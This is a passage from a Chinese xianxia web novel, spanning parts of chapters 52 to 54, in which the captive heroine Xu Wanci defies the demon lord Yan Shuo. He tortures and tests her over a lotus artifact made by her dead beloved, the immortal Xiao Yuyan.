原著中的言朔,强大傲慢,却又足够疯狂,喜怒无常,根本没有人能揣摩到他的心思。 但有两点很明显: 一,他厌恶清衍仙尊,这个他永远也打败不了的对手。 二,他厌恶弱者,在他面前,求饶与求死无异。 仙尊挚爱这个身份,对于如今的她而言是一把双刃剑。 言朔有可能因为这个身份留下她,也有可能因为这个身份,杀了她。 许晚辞不着痕迹的放轻呼吸,大脑飞速转动: 以她如今的修为,哪怕是自爆神魂,都不可能伤到身为魔尊的言朔。 但她更不能坐以待毙,若是她任由魔气侵袭,晕倒在这里,那身为弱者又是仙尊挚爱的她,在言朔手中死的概率远远大于活着。 除非,她能够展示自己的强大,超越元婴修士的强大,不需要伤到言朔,却足够让他诧异的强大。 哪怕只有一瞬。 许晚辞听着不远处越来越近的脚步声,一点点放缓了自己的心跳: 她身上的法器多为防御法器,符箓亦然。 九霄剑太过明显,怕是她握住九霄剑的过程,就足以让言朔察觉。 还有什么呢? 她闭着双眼,敏锐的从周围的魔气中,察觉到了那极其微弱的、天华参伴生灵植模仿的仙尊灵气。 想起今日在络龙城外操纵灵气的场景,许晚辞指尖微不可查地动了一下。 只是从漫天魔气中分辨然后操控这些灵气,就足以耗尽她本就所剩无几的神识,那时,她再也不可能维持清醒…… 只是一瞬间,她就做出了决定: 在言朔面前,清醒与昏迷,好像并没有什么不同。 这时,言朔已经来到了许晚辞的面前。 在他面前,只不过元婴修为的许晚辞,犹如一只渺小的虫蚁,让他甚至产生不了一丝碾死的欲望。 看着从始至终都低着头,没有分毫反应的人,他散漫的目光中逐渐带上了一丝兴致缺缺的冷意: 真是无趣啊。 就在这时,他像是察觉到了什么,眉梢微挑。 低着头的许晚辞根本没有在意他的神情,她感受着空气中所有的灵气,无声道:“破。” 下一瞬,被厚重的魔气掩盖的那些灵气,犹如一束带着光芒的火花,消无声息的在魔气中炸裂开来。 不远处的夜潇被灵气击中,发出一声闷哼。 她不可置信地抬起头,看向不远处的许晚辞: 怎么可能? 一个元婴修士,在漫天魔气中,居然还能伤到她?! 不远处,言朔站在半跪的许晚辞身前,那些炸裂的灵气被围绕着他转动的魔珠尽数吞噬,暗红的魔珠中,仿佛又雷光显现,一阵电光火石后,魔珠再次恢复了暗红。 只是它周身的红色,变得浅淡了一分。 它乖巧的回到主人手侧,再也没有了方才的灵动。 言朔根本没有看魔珠一眼,他微微垂眸看向已经昏迷,连呼吸都仿若不存在的狼狈身影,眼中多了几分兴味。 他意念一动,魔气缠着许晚辞的手腕将她拽起,漆黑的魔气在她手腕上留下了蜿蜒的黑色伤痕,然后一寸寸的往更深处侵去。 言朔往前走了一步,伸出手抬起了身前人的下巴。 这是一张美丽而脆弱的面孔,姿容胜雪却偏偏带着一股清冷之气,矛盾却又让人移不开视线。 无论什么样的脸,在言朔眼中都没有什么不同。 他看着即使被魔气侵袭,依旧没有多少痛苦表情的许晚辞,又多加了几分魔气。 能让修仙界无数修士求饶的魔气,却只让昏迷中的她皱了一下眉。 她的身体仿佛早就已经习惯了疼痛一般,依旧没有什么反应。 言朔饶有兴致地扬起了唇角,眸中猩红的纹路有暗光一闪而过: 一个脆弱至极的身体,却有着一个与身体完全不匹配的灵魂。 他的手近乎温柔地扫过她紧闭的双眼,眼中的暗色一点点加深: 真想看看她的眼睛,是不屈、是挣扎、是隐忍,还是……恐惧? 萧玉衍的……挚爱么? 言朔唇边的笑意多了几分讽刺。 他转过身,缠着许晚辞的魔气如暗蛇一般寸寸缩了回去:“带她回去。” 夜潇赶紧用魔气接住了许晚辞,恭敬地应道: “是。” * 许晚辞从一片黑暗中,再次察觉到了自己的存在。 这一刻,她提着的心终于放了下来: 她还活着。 想起她昏迷前发生的事情,许晚辞心中又是一沉: 她的那一击,应该根本就不曾伤到言朔。 所以她此刻的所在,大概率是魔界。 魔界与修仙界中间相隔着万丈深渊,一边魔气四溢,一边灵气充裕,一方修士在另一方的地界,根本无法修炼,修为和神识也都会被压制,只能任人宰割。 她在修仙界时,就已经耗尽了灵力和神识,来到魔界后,怕是一个初级的魔虫都能要了她的性命。 接下来的每一步,她都必须足够小心。 她丹田处,如今有两样至宝: 一个是能让她毫无阻碍的晋升化神,同时引来双倍天雷的天华参。也不知魔界的魔修,喜不喜欢那蕴含着天道之力的天雷。 一个是能让她多一条性命的天灵丹,即使神识没有办法全部离开魔界,只离开一半也够了。 总归,她还能活着。 许晚辞任由自己的意识坠入身体: 强大而疯狂的魔尊……言朔。 她的疯,难道会比他少么? 顶级魔晶堆砌而成的宫殿中,有一座通体漆黑,魔气肆虐的魔床。 魔床之上,有着一条枯骨凝成的魔蛇。 数米长的白骨蛇头顶着一粒鲜红的魔珠,正一点点地朝着床上纤瘦的蓝色身影而去。 它顺着她的小腿,蜿蜒向上,来到她的腰际,慢慢地朝着她的脖颈而去。 在恢复意识的那一刻,许晚辞便感受到了身上被魔气侵蚀带来的疼痛。 比曾经的玄冥针,还要强上几分的疼痛。 狂暴的灵气一点点的侵入身体,贪婪地舔舐她的血肉,毫不留情的吞噬着本就不多的灵气。 与周身的疼痛相比,身上不断收紧的压迫,似乎根本算不了什么,却让许晚辞一瞬间汗毛耸立。 她逼自己冷静下来,放缓混乱的心跳,安静的睁开了双眼。 一片死寂的黑暗中,她蓦然对上了一个白骨森森的蛇头。 看到她醒来后,蛇头之上的红色魔珠亮了一瞬,骨节寸寸缩紧,白骨凝成的蛇头也蓦然张开了嘴,露出了仿若深渊的内里。 许晚辞面色是极致的冷静,她扫过魔晶堆砌而成的房间,感受着身下冰冷却又魔气厚重的魔床,过分理智的分析着: 她如今应该是在言朔的魔宫。 既然没有在那时便杀了她,还带她来了魔界,说明他暂时还不想要她的命。 这条魔蛇,大抵也只会让她受一些苦楚,并不会杀了她。 若是在修仙界中,在重伤的情况下,她或许什么都不会做,这是最符合她人设,也是最简单的方法。 总归只是有些疼罢了,她最擅长忍疼。 可是现在—— 许晚辞眼中的表情依旧平静冷漠: 既然它不会杀她,那她为什么要忍。 她感受着依旧在她手腕之上的九霄剑,心念一动,用尽丹田最后一丝灵气,朝着骨蛇头顶的红珠而去。 红珠的魔气太过强大,她不是对手。 可是—— 她又不是非要赢了魔珠不可。 下一瞬,魔珠与蛇头分离,骨蛇仿佛没有了支撑,化作散乱的碎骨一块块地砸在了她的身侧。 门口处的言朔看着许晚辞这干净利落的一剑,发出了一声轻笑。 气鼓鼓想要继续对许晚辞下手的魔珠听到他的声音,珠身一缩,灰溜溜地来到了言朔的身旁,安静如鸡。 即使它是一颗珠子,也知道它的主人最厌恶废物。 而它刚才巧不巧地输给了一个废物一般的修士。 言朔看都没有看魔珠一眼,他一步一步走到了魔床旁边,每走一步,便有一枚魔珠亮起,森森的暗光之下,许晚辞转过头,静静地看着他。 眼中并没有他猜测的慌乱与恐惧。 她只是平静地看着他,就像是在看一个擦肩而过的陌生人,手中的九霄剑因为没有了灵力的支撑,再次化作了一枚手环,安静地环绕在了她的手腕上,恰巧遮住她被魔气勒出的黑痕。 原来是这样一双眼睛啊。 平静如冰却又纯澈安宁,即使身处陌生的魔界,却依旧看起来无波无澜,没有恐惧,也仿佛感受不到疼痛。 这就是萧玉衍百年前喜欢的人? 确实比修仙界中的那群废物,要有趣几分。 他一挥手,属于魔尊的魔气一点点的将许晚辞环绕,仿佛下一瞬就能将她吞噬殆尽。 许晚辞用尽全力才控住住了自己的心跳,这种一步步靠近死亡的感觉,比生死一线生让人难以忍受。 哪怕是那日因为无相神石被几十位尊者引诱威胁时,她都没有感受到这样大的压力,在被魔气环绕的那一瞬,她的生命仿若根本不属于自己了一般。 她放缓呼吸,依旧没有移开视线。 言朔并没有收回魔气,他看着许晚辞依旧平静的好似根本不在意发生了什么的模样,声音温柔地像是在对待情人一般: “不怕么?” 因为身体的伤势太重,许晚辞的声音不可避免的带上了一丝沙哑: “怕什么?” “看起来魔尊并不想杀了我。” 言朔俯下身,漆黑的双眸中暗红的纹路一点点显现:“让人生不如死的方法,有很多种。” 许晚辞对上他的双眸,平静而迟缓地眨了眨眼睛:“所以呢?” “是切割神魂,还是湮灭□□?” 她现在承受的,和这些有什么区别么? 言朔扫了一眼她身上的伤势,又缓缓看向她的那双眼睛。 那双在绝境之中,依旧没有波动的眼睛。 如湖水般平静而美丽的眼睛。 言朔忽然很想看到这双眼睛中染上崩溃与绝望的模样。 不怕受伤,也不怕……死亡。 想起她的身份,想起这些时日中修仙界的传言,他微不可查地眯了一下眼睛,眼中恶意弥漫: “你说,他是不是也同你一般能忍痛?” 他根本不曾提及他的名讳,许晚辞却蓦然攥紧了双手。 言朔看着她因为用力已经苍白的近乎透明的指节,心中却并没有多少得偿所愿的感觉,反倒是带上了一丝微不可查的烦躁。 他勾起唇角,声音越发轻柔:“神魂俱消啊。” “他是半步仙人,足够从头至尾都保持清醒。” “清醒地感?? 受着自己的神魂被碾碎,化作千万碎片,融入万物,修补天道。” 他看着许晚辞眼中的平静一点点碎裂,看着她因为痛苦蓦然收缩的瞳孔,恶劣的继续道: “你说,他比今日的你如何,是不是会更疼?” 一丝鲜血从许晚辞唇边溢出,她眼中平静不再,而是带上了一丝仿佛已经压抑了百年的疯狂。 她定定地看着近在咫尺的言朔,眼中的恶意没有比他少分毫: “你是在嫉妒么,言朔?” “你若是神魂俱消,怕是仙魔两界全都普天同庆,欢欣鼓舞。” 她感受着周围愈发浓烈,仿佛下一瞬就要将她摧毁的魔气,微微扬唇,声音唯美却偏偏带着挥之不去的疯狂: “会有人想要记住你么?有人会在意你疼不疼么?” “怕是只有人会担忧你死的不够透彻。” “多可怜啊,高高在上的魔尊言朔,也终究不过是一个孤家寡人罢了。” 言朔一只手扼在她的喉间,暗红色一点点充斥了整个瞳孔,他声音带着无尽的危险: “你就这么想死?” 许晚辞任由自己的命脉在他手中,眼中没有分毫恐惧,反而带着一丝期待一般的安宁: “我活着一日,便会记得他一日。” “我死后,□□会湮灭于这个他不顾一切救下的世间,神魂会同他一般,消散于尘世中的万物。” “这是一种重逢,不是么?” 她轻笑着看向言朔,任由自己被魔气吞噬: “你看,死亡有什么好怕的呢?” 当你所爱之人在那里等候时,死亡只会是一种圆满。 从来只有虚无与死寂的混沌之中。 仿佛有一滴水珠落入了万里沉寂的四海,一圈圈的涟漪轻柔的散开。 萧玉衍那容纳万物的双眸中,有一个模糊的身影渐渐显现。 他看着修仙界人声鼎沸、看着万物生长消亡、目光却忽然有了落点。 他忽然想起了恢复意识的那一瞬听到的声音: ‘我想要萧玉衍醒来。’ 有人,想要他醒来。 漫天虚无之中,那一丝蓝色,渐渐将周围的混沌渲染。 魔界之中,言朔听着许晚辞轻缓的心跳,看着她唇角清浅的笑意,右手蓦然用力,却又在她濒死的那一刻,缓缓松开。 这一刻,他终于确定: 她是真的不怕死。 也是真的,生为一人,死为一人。 魔宫之中,周围照明的魔珠瞬间化作飞灰,殿内再也没有了一丝光亮。 许晚辞低着头,唇角的鲜血落在她的掌心,如同一滴血泪。 她感受着如潮水般褪去的魔气,发出一声轻笑。 是嘲讽,也是自嘲。 言朔定定地看了身体已经濒临极限的许晚辞一眼,眼中满是汹涌的恶意,他转过身,声音冷得彻骨: “不要让她死了。” 暗处,夜潇恭敬应道: “是。” 等到言朔离开后,她终于敢出现在许晚辞面前。 几百年来,许晚辞是第一个激怒魔尊,却依旧能活下来的人。 又或者说,根本没有人能激怒魔尊。 看着意识已经快要模糊的人,夜潇眼中带上了一丝困惑: 喜欢一个人,就能让人变得无惧死亡么? 她一伸手,照明的魔珠幽幽亮起。 许晚辞抬起头,看到站在她面前的人,略显迟钝的眨了眨眼睛: “是你啊。” 此刻的她,已经只能凭借本能做出反应。 看着夜潇一身白衣,清秀动人的模样,她声音很轻: “这是你本来的样子么?很漂亮。” 夜潇怔愣地站在原地: 在魔宫之中,她根本不敢使用化身,这是她最开始的模样,也是她被抛弃时的模样。 漂亮……么? 她极擅魇术,自然能察觉到许晚辞如今的状态,她根本不会说谎。 夜潇心中微动,很快她便压下了所有的想法,站在原地问出了一直以来的疑惑: “你是怎么发现自己中了魇术的?” 许晚辞静静地看着她,声音带着一丝迟钝:“原来是魇术啊。” 似乎是有些累了,她停顿了几息,轻声道:“你们身上的气息,很相似。” 原来是气息么? 应该不止,许晚辞的神魂,应该比她猜测的强大几分。 不然她不可能在魔尊手下支撑那么久。 一开始,是她有些轻敌,让她察觉到了不对,再之后相似的气息,让她意识到了周围的问题。 夜潇若有所思地收回了视线,随即又继续问道: “所以,你是故意显露弱点,然后反过来控制住我。” 回应她的,是漫长的沉默。 良久之后,许晚辞的声音轻的像是呢喃: “我只是……” “很想见他。” 之后,她再次陷入了漫长的沉睡,没有任何人察觉,那在她丹田之中,本只能用来突破的天华参,正悄无声息的修复着她身上所有的伤势。 第53章 他第一次有了让一个人活下去的欲望 仙尊的灵气, 对除了许晚辞以外的所有修士,都有着相当重的压迫。 在这压迫之中,即使是渡劫后期尊者,灵力和感知都弱了许多。 所以, 宁孟澜等人在察觉到不对的那一霎那, 意外已经发生, 他们根本来不及说什么, 就被卷入了魔气肆虐的小天地中, 和许晚辞分散开来。 此方天地与魔界无异, 修士进入其中, 修为会被极大的压缩,神识也会受到限制。 这里不仅魔气强横,还有着无数魔影和魔刃, 一不小心, 就会被魔刃击中, 被魔影侵袭,身受重伤。 宁孟澜在感受到魔气后,脸上的表情是前所未有的凝重。 他知晓, 魔界如此大费周章,不可能只是为了太清宗一个宗门,只能是因为——晚辞。 他本以为魔尊还在闭关, 魔界并不会兵行险招, 没有想到…… 若是只有寻常魔修倒也还好, 怕的是…魔尊出关。 不管心中怎样想,宁孟澜都第一时间稳住了心中思绪: 他们必须尽快从这方魔窟中离开! 他身边, 三位长老对视一眼,也都默契地动了起来。 他们的修为毕竟是当世顶尖的渡劫尊者, 即使被魔气包围,也依旧不容小觑。 三长老更是以阵为眼,几个阵法后,在抽空了魔气的同时,也找到了打破小天地的关键。 只是破开了这方小天地,他们又进入了另一个小天地之中。 而且这里的魔气,比之前小天地中的魔气更加浓厚与嚣张。 四人手中的动作未曾停顿,心却缓缓沉了下去: 这样大的手笔,看来魔界对此行,势在必得。 连续破开四个小天地后,他们终于回到了最初和许晚辞分散的地方。 看着方圆数里之内再无一丝生机的景象,所有人的心,瞬间坠到了谷底。 一息的沉默过后,顾云绮脸上带着前所未有的冷意。 她一伸手,本命法器幻海石蓦然出现在了半空之中。 在周围一丝灵气都没有的荒寂之中,顾云绮强行催动回溯阵,想要看看之前到底发生了什么。 一阵光芒过后,回溯阵中,许晚辞的身影逐渐显现。 宁孟澜下意识往前走了一步。 看着出现在苍情树下的白衣男子,他沉声道: “是夜潇。” 这是夜潇的化身之一。 几百年前,她用化身与魇术勾引了许多修士,拆散了无数道侣,无论男女,都可能成为她的猎物。 最终,即使她身份暴露,依旧有修士对她爱恨交加,不愿伤她。 看到这个身影,其余长老面色也都分外严肃。 回溯阵中,夜潇好像根本没有隐藏自己的意思。 众人虽然看不到魇术中的场景,却能看到夜潇的化身对着许晚辞极尽诱惑的模样。 也看到了许晚辞挥剑时的平静与果决。 在渡劫修士都有可能会分神的魇术之中,面对即使在修仙界,也足以撑得起绝色二字的化身,许晚辞的剑意却没有分毫停顿。 只有在最后一个化身时,他们才终于看到了许晚辞深藏于平静之下的那一丝悲伤。 可是她的步伐却依旧没有停顿,剑入骨,魇术破。 宁孟澜等人还来不及松一口气,就见到回溯阵的场景中,一道魔气悄无声息地席卷而来。 即使隔着阵法,他们也依旧感觉到了莫大的威胁。 下一瞬,阵法破碎,顾云绮蓦然吐出一口鲜血。 她身旁的二长老见状赶紧把一粒丹药送入她的口中。 顾云绮服下丹药,简单的调息了几息后,就站直了身体,声音带着前所未有的沉重: “是魔尊。” 魔尊亲临。 宁孟澜闻言第一时间动用了宗主令,探查了一番后,眉头微松:“许晚辞的命牌并未碎裂,她还活着。” 大长老往前走了一步:“如今,她大抵身在魔界。” 一个灵气耗尽的元婴修士,在魔界,还要面对喜怒无常的魔尊言朔。 九死一生。 所有人的表情都是如出一辙的凝重。 若是想要救回许晚辞,势必要去魔界一趟,可哪怕是渡劫修士,在魔界修为也会被极度压制,也根本没有办法回复灵气。 就算整个太清宗倾巢出动,怕也只能堪堪对付几个魔将,更不用说百年前仅次于仙尊的第二人,魔尊言朔了。 想到这里,宁孟澜缓缓呼出一口气:“以太清宗的名义,邀各大宗门世家在络龙城中一聚。” 二长老猜到了他的用意,皱眉道:“只是因果,怕是不足以让各大宗门……” 宁孟澜转身往前走去,声音平淡却又无比坚决:“就说太清宗发现了一座灵脉,想邀诸位宗门世家共享。” 说到这里,他脚步微顿,轻声道:“若是佛子出关,届时要麻烦大长老走一趟了。” * 魔界之中有着无数魔渊,这些魔渊深不见底,每七日就能移动一次。 每个魔渊都酝酿着一个顶阶魔物,它们以魔修为食壮大自己,是所有魔修都避之唯恐不及的存在。 可是今日,近三十年来频频波动的数个魔渊,却都安静的好似不存在一般,连溢散的魔气,都被它们小心翼翼地收了回去。 此刻的它们,看起来比低阶魔虫都要无害,生怕哪里不对,会引起某个煞星的注意。 不远处,一个魔渊中魔龙的哀嚎声,传遍了半个魔界。 其他魔渊中的魔物,都安静如鸡,渊中一片死寂。 深渊之中。 言朔看着已经失去呼吸的魔龙,略显无趣地放下了扼住它喉咙的右手,周身的魔气倾巢而出。 下一瞬,几十米长的魔龙,一息之间,肉身尽毁,只剩下了累累白骨。 即使已经碾碎了三个魔渊,言朔脸上的表情依旧冰冷,漆黑的双眸中,暗红色的纹路被牢牢压制,看起来冷漠理智到了极点。 只是他周身肆虐的魔气,却在隐隐诉说着他心中的烦躁。 言朔一转身,面无表情地离开了魔渊。 身后,血红的魔珠凝聚出丝丝缕缕的红色魔线,正艰难地把魔龙的枯骨拖往魔宫。 幽魔殿中。 五根由魔魂凝聚而成的魔柱矗立在殿内,镶嵌在魔柱之上的魔珠,散发着幽幽地白色暗光,照亮了殿内的一切。 大殿的最前方,是一座枯骨凝聚而成的王座。 曾经叱咤魔界的五位魔皇,已经化作枯骨,安静而忠诚的成为了王座的一部分,三百年来,一直散发着顶阶魔修的威压,镇压着每一个对魔尊有异心的魔修。 即使魔尊不在,七大魔将依旧战战兢兢地站在王座下方,连头都不敢抬,每个人面色都是相似的恭敬与……恐惧。 这时,一阵不疾不徐的脚步声由远及近,脚步声后,是枯骨划过魔晶的刺耳之声。 这声响,让七位魔将面色越发苍白,他们没有抬头,而是整齐的跪了下去: “参见魔尊。” 言朔看都没有看他们一眼,他一伸手,几十米长的魔龙枯骨被魔气拖到了王座之前,它被魔气压缩,一寸寸的变小,最后化成了一块晶莹剔透的骨节,嵌入到了王座之中。 他微不可查的眯了眯眼睛,像是没有满足一般,周身的魔气开始蠢蠢欲动,席卷了整个宫殿。 七位魔将感受着周围的魔气,身体都不由自主的带上了一丝颤抖。 就在众位魔将快要坚持不住时,言朔终于坐在了白骨莹莹的王座之上,收回了所有的魔气。 他把玩着手中的魔珠,轻飘飘道:“说吧。” 七位魔将在言朔身边待了百年,早已经知晓了言朔的脾性。 他话音刚落,为首的夜刑就没有丝毫耽误的站了出来,即使心中慌乱,却依旧口齿清晰的交代着近三十年来他所管辖的魔界动向。 说到魔渊的动静时,他面色越发恭敬: 他身为魔将,越发清楚魔渊有多危险,即使两位魔将一同出动,也不过勉强镇压一个罢了。 而魔尊…… 想起方才感受到的魔龙枯骨,他强忍住心中的战栗,依旧认真地汇报。 夜刑之后,再是夜婷。 言朔听得漫不经心,无论好坏,他都未曾开口。 只是身边溢散的魔气,却无时无刻不在提醒所有魔将,他此刻的心情,很不好。 等到夜潇开口时,他像是想起了什么,终于抬起头往下扫了一眼: “她还活着么?” 夜潇第一时间意识到他在问什么,赶紧恭敬的回道: “许晚辞身上的外伤已经无碍,如今并无生命之忧。” 只是这里毕竟是魔界,所有的魔药都只对魔修有益。 她那日在许晚辞昏睡过后,打开了她的储物袋,从中找到了一些丹药给她服下。 只是她伤势太重,那些丹药也只是修复了她的外伤,剩下的,就算她有心,也没有办法。 更何况,她是魔修,根本没有必要对一个修士如此尽心尽力。 她只要依照魔尊所言,让她活着就够了。 想到这里,夜潇压下心中那一丝微弱的不适,伸出双手恭敬地把一个储物袋奉到身前: “这是她身上的储物袋,所有法器符箓都在其中,请魔尊过目。” 言朔淡淡地扫了她一眼。 只是一眼,夜潇体内的魔气就控制不住动荡起来,她面色惨白,举着储物袋的双手却一动也不敢动。 下一瞬,她手中的储物袋就被魔珠拽起,讨好地捧到了言朔面前。 * 魔床之上,许晚辞缓缓睁开了双眼。 这时,大抵是魔界的白日,虽然宫殿之中依旧昏暗,却已经有了些许暗红的光源。 她仿佛不适应一般,再次闭上了双眼,遮住了眼中所有的诧异。 在昏迷之前,她的丹田和识海因为过度使用,已经有了隐隐的裂痕,这样的伤势,并没有比上古战场之后轻多少。 可是现在…… 她感受着完好无损的丹田,大脑飞速转动: 是夜潇么? 应该不是,那样的伤势,哪怕她好心为她救治,也绝不可能有现在的效果。 魔界不可能有这样疗效的灵药,况且以那日她与言朔的对话,他也绝不可能会费心救她。 她储物袋中,也没有这样的丹药。 许晚辞下意识扫过自己的丹田,看着其中的天华参和天灵丹,指尖微不可查地动了动: 天华参……难道还能如同阴阳双生莲一般,治愈丹田识海么? 明明原著中,它只能助人突破。 她压下心中所有的想法,缓缓呼出一口气: 无论如何,这都是一件好事。 魔界对于此刻的她而言,危机重重,稍有不慎就是万劫不复。 她丹田中的灵气虽然不多,但是已经足够在危险时刻保护自己。 还有她的识海,既然已经完全修复,那…… 像是想到了什么,她下意识地想伸手摸向自己的腰侧,手指还未动作,她就反应过来,把手死死地钉在了原地: 她感觉不到三叶莲的存在了。 自从她与三叶莲共鸣后,便一直能察觉到三叶莲对她神识的滋养,那怕是神识重伤之时,依旧如此。 三叶莲对她太过重要,以至于让她的呼吸都停顿了一瞬。 她紧闭双眼,一点点地控制住自己的呼吸与心跳。 不只是三叶莲,九霄剑与储物袋如今都不在她身边。 许晚辞逼自己冷静下来: 原著中,三叶莲是男主楚青川身上最重要的至宝之一,从始至终,都没有人发现三叶莲能帮助宿主勘破幻境。 最多只有人察觉到这是一件能温养神识的灵宝,仅此而已。 不然,楚青川也不可能在仙魔两界所有的幻境中都如鱼得水。 哪怕是他进入魔尊的魔域之时,依旧是依靠三叶莲的指引,才艰难的破开魔域。 之后,言朔也根本没有察觉到三叶莲的不对,想来如今也是如此。 许晚辞微不可查地松了一口气: 只要言朔不会察觉到三叶莲的不对便好。 这样,她便有了底气。 想到这里,她终于睁开了双眼。 身下魔床的魔气正丝丝缕缕地朝着她的体内钻去,想要吞噬她的血肉与灵气。 许晚辞并未在意,她只是安静的坐起身,静静地看着自己的双手。 这时,门外传来了一声温柔的轻问: “是在找它们么?” 言朔站在一片暗影之中,看向许晚辞的目光冰冷却又好似带着无尽的恶意。 他周身恐怖压抑的魔气一点点布满了整座宫殿,其中一道魔气捏住她的下巴,强迫她转过头,看向门口。 许晚辞被他挟制,目光却依旧平静,眼中没有恐惧,也没有了那日的伤痛与疯狂。 她就这样,安静地看向他,目光却仿佛透过他,看向了无边的天际。 言朔看着同之前一般,好似依旧感受不到疼痛的许晚辞,漆黑的瞳孔之中,猩红的纹路再次显现: 真是碍眼的表情。 碍眼的让他愈发想看到她眼中染上绝望与悲戚。 他指尖一动,一件九品防御法器就出现在了他的身前: “看来,太清宗对这你位仙尊所爱之人,还算不错。” 紧接着,储物袋中一件件的法器都出现在了许晚辞的眼前。 无论是顶尖的法器符箓,还是千年难得一遇的灵植丹药,她的目光却依旧没有什么波动。 直到,那个看起来平平无奇,除了有些精巧再无其他作用的三叶莲出现。 许晚辞蓦然攥紧了双手,身上的气息浮动,让周围的魔气侵入瞬间加剧,鲜血一滴一滴的从指尖渗出,落在了魔床上,然后被魔床贪婪的吞噬,再也没有留下一点痕迹。 她知道这是言朔对她的试探。 她根本没有想过隐藏。 三叶莲对她太过重要,重要到即使隐瞒,说不定她也会在过程中发生什么疏漏。 更何况,只有足够重要,才能有不顾一切再次将它取回来的理由。 言朔扫了一眼许晚辞指尖的鲜血,微不可查地眯了一下双眼: “看来是它啊。” 这一瞬,半空中的其他法器片片碎裂,只剩下了这三叶莲这个平平无奇的四品法器。 他伸出手,温柔地拂过三叶莲一片莲叶: “能滋养神识的法器,倒也还算难得。” 许晚辞看着他的动作,一只手撑在魔床之上,目光是自己都未曾察觉的紧张与担忧。 明明看到了想要看到的场景,言朔眼中的冷意却更盛之前。 他一挥手,魔床上的许晚辞被魔气拉到了他的身前。 他一只手捏着她的下巴,双眸之中猩红的纹路越发清晰。 当看到许晚辞眼中只剩他的倒影之后,他的手沿着她的下巴,缓缓拢住她的脖颈,恶劣地扬起了唇角: “你说,一个四品法器,能抵住本尊一击么?” 看着她微微收缩的瞳孔,他轻笑着继续道: “还是你觉得,他炼制的法器,足以抵挡住焚仙水的侵蚀。” 焚仙水,能焚尽世间一切。 仙品的法器、渡劫的尸骨、甚至是出世的神器。 许晚辞看到言朔身边浮现的通体漆黑的魔瓶,双手蓦然握住了他的手腕。 她一字一句道: “魔尊要如何,才能将三叶莲还我。” 魔气顺着她的双手疯狂的往血肉之中钻去,她面色不变,依旧固执地看向言朔,等待着他的回答。 言朔看着许晚辞为了一个法器,仿佛能不顾一切的模样,双眸中猩红的纹路越来越深,深得仿佛能吞噬周围的一切。 好,那就让他看看,她究竟能为了萧玉衍炼制的法器,做到什么地步。 他一挥手,一道漆黑的魔渊蓦然出现在了许晚辞面前,其中顶级魔物的威压从魔渊中显现,极致的威胁感,已经足以吓退绝大多数的魔将。 而许晚辞,只是一个身受重伤,根本没有办法使用灵气的元婴修士。 只要进去,十死无生。 他温柔地拂过她的侧脸,看着因为魔气的肆虐脸色已经近乎苍白的许晚辞,轻声道:“只要你活着从里面出来,我就把它还你,如何?” 没有恳求,也没有讨价还价,她甚至都没有问他说的是真是假。 许晚辞在他话音刚落的那一瞬,便想也不想地转过身,向前一步,任由自己被深渊吞噬。 混沌之中,萧玉衍在许晚辞转身的那一瞬,第一次向前走了一步。 他听着胸口处陌生的心跳,从来淡漠的眼中,带上了一丝微不可查的困惑。 周围的虚无仿佛察觉到了什么,混乱的游弋着,本来浅淡的蓝色逐渐开始变深、扩散。 魔界之中。 言朔看着许晚辞在魔气中险象环生的模样,目光一点点变冷: 他根本不理解所谓的情爱。 爱? 可是看着许晚辞身上伤痕累累却丝毫没有后退的模样,他心中忽然涌上了前所未有的怒意,周身魔气躁动,不远处的宫殿,霎时化作了飞灰。 为了一个三叶莲,宁愿去死? 只是一件法器! 不过是他炼制的一件法器! 言朔攥紧双手,眼中布满了猩红的纹路: 萧玉衍。 他凭什么? 凭什么在死了一百年之后,依然有人愿意为他的一件法器拼尽一切? 他的双眼透过深渊,死死地定在了许晚辞的身上。 不用说深渊的那个顶阶魔物,只是深渊之中的魔气,就足以令许晚辞无力招架。 可她早已经习惯了这种危险,越是危险,她就越是冷静。 面对魔气中潜藏的无数魔刃,她努力节省着灵气,试图用最少的灵气让自己活下来。 纵然艰难,也并不是找不到那微弱的生机。 就在她狼狈地向前时,忽然感受到了土地中传来的极致威胁感,她透支了所有的灵气,才勉强挡住了身前的一只触手。 可是对于身后的攻击,她却再也分不出一丝力气。 混沌之中,萧玉衍的手,微不可查的动了一下,指尖有天道之力,一点点的汇聚。 从来任由万物生长消亡的他,第一次有了想要让一个人活着的……欲望。 魔界之中,看着许晚辞即使濒临死亡,依旧平静的面色,言朔脸色冷到了极点: 想死? 他怎么可能让她这样轻易的死去。 他蓦然出现在了魔渊之中,一挥手,让无数魔修恐惧不已的顶阶魔物,瞬间湮灭,连白骨都没有留下: 不过是一件法器,他可以给她一百件,一千件! 只要他想,他可以让她得到这世间所有的至宝! 她只不过是没有见过更好的罢了。 只要见到,她一定会同其他人一般,毫不犹豫的扔下那个无用的法器! 他用魔气把许晚辞拉到身前,一只手攥紧她的手腕,将她直接拖去了魔界的魔库。 魔库中,无数至宝陈列其中。 顶尖的魔宝、上古神兽的白骨、神阶的法器、仙品的灵植、甚至有能与无相神石相媲美的至宝。 只要得到一件,就能够轻松的跨越瓶颈,成为所有人仰望的存在。 这里,是仙魔两界所有修士最梦寐以求的地方。 言朔松开了拖着许晚辞的手,看着她狼狈的模样,他蹲下身,声音满是诱哄: “你不是想要法器么?” 他温柔地拂去她脸侧的脏污,然后逼着她扫视周围所有的至宝,声音像是对待自己的挚爱: “这里的法器,任你挑选,好不好?” 许晚辞轻咳了一声,鲜血顺着唇角溢出。 她的声音轻到了极点: “可以把三叶莲,还我了么?” 第54章 醒来后,你会忘记一切 听到许晚辞的回答, 言朔眸中的猩红纹路蓦然加深,眼中翻涌的疯狂让人心惊,可他的面色,却是完全与之相反的极致冷静: 她只是不知道这些至宝的难得罢了。 他不信真的会有人为了另一个人, 甚至只是一个法器, 不顾一切。 爱? 在绝对的利益面前, 爱是什么? 只是一件法器, 随时都有可能被更好的法器取代, 不是么? 言朔一抬手, 魔气将许晚辞轻柔地扶了起来。 他站起身, 一只手攥住她的手腕,直接把她拉到了佛平灵芝之前。 看着她伤痕交错的身体和早已透支的丹田与识海,言朔攥着她的手缓缓用力, 声音看似温柔, 却带着不容拒绝的强硬: “你不是想要修复识海温养神识么?” 言朔看着许晚辞苍白到近乎透明的侧脸, 诱哄一般道: “它不仅能修复你识海中所有的暗伤,还能让你的神识暴增。” “只是一个时辰,就足以抵得上其他人千年的修炼。” “怎么样, 是不是比三叶莲有用的多?” 许晚辞咽下口中的鲜血,她安静地看着身前能让人一步登天的佛平灵芝,眼中有平静、有倦怠, 却唯独没有心动。 言朔见状缓缓加重手中的力气, 魔气丝丝缕缕的将她紧紧禁锢: 真贪心啊。 佛平灵芝还不够么? 没关系, 他有的是至宝。 